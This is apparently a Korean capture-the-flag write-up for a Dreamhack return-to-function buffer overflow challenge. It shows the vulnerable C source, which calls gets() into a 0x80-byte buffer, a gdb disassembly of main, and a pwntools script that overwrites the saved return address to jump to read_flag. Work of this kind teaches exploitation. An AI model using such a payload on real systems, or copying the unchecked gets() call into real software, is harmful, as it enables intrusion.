이전 문제와 다르게 NX Bit가 설정되어 있다. 그러므로 shellcode는 불가능할 것이다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
BOF를 발생시켜 main stack의 RET부분에 read_flag 주소를 넣으면 되겠다.
저번 문제와 마찬가지로 buf와 SFP 사이에 dummy가 있는 지만 확인해보자.
gdb-peda$ disas main
Dump of assembler code for function main:
0x080485cc <+0>: push ebp
0x080485cd <+1>: mov ebp,esp
0x080485cf <+3>: add esp,0xffffff80
0x080485d2 <+6>: call 0x8048572 <initialize>
0x080485d7 <+11>: lea eax,[ebp-0x80]
0x080485da <+14>: push eax
0x080485db <+15>: call 0x80483d0 <gets@plt>
0x080485e0 <+20>: add esp,0x4
0x080485e3 <+23>: mov eax,0x0
0x080485e8 <+28>: leave
0x080485e9 <+29>: ret
End of assembler dump.
lea eax [ebp-0x80]에서 볼 수 있듯이 dummy는 존재하지 않음을 알 수 있다.
gdb-peda$ p read_flag
$1 = {<text variable, no debug info>} 0x80485b9 <read_flag>
read_flag의 주소는 0x80485b9임을 알 수 있다. ret를 저기로 덮자.
0x84 (SFP 포함) 덮고 p32로 read_flag를 넘겨주자.
from pwn import *
p = remote('host3.dreamhack.games', 11554)
read_flag_addr = 0x80485b9
payload = 'A' * 0x80 + 'A' * 4 + p32(read_flag_addr)
p.sendline(payload)
p.interactive()
flag가 출력되고 프로그램은 종료된다.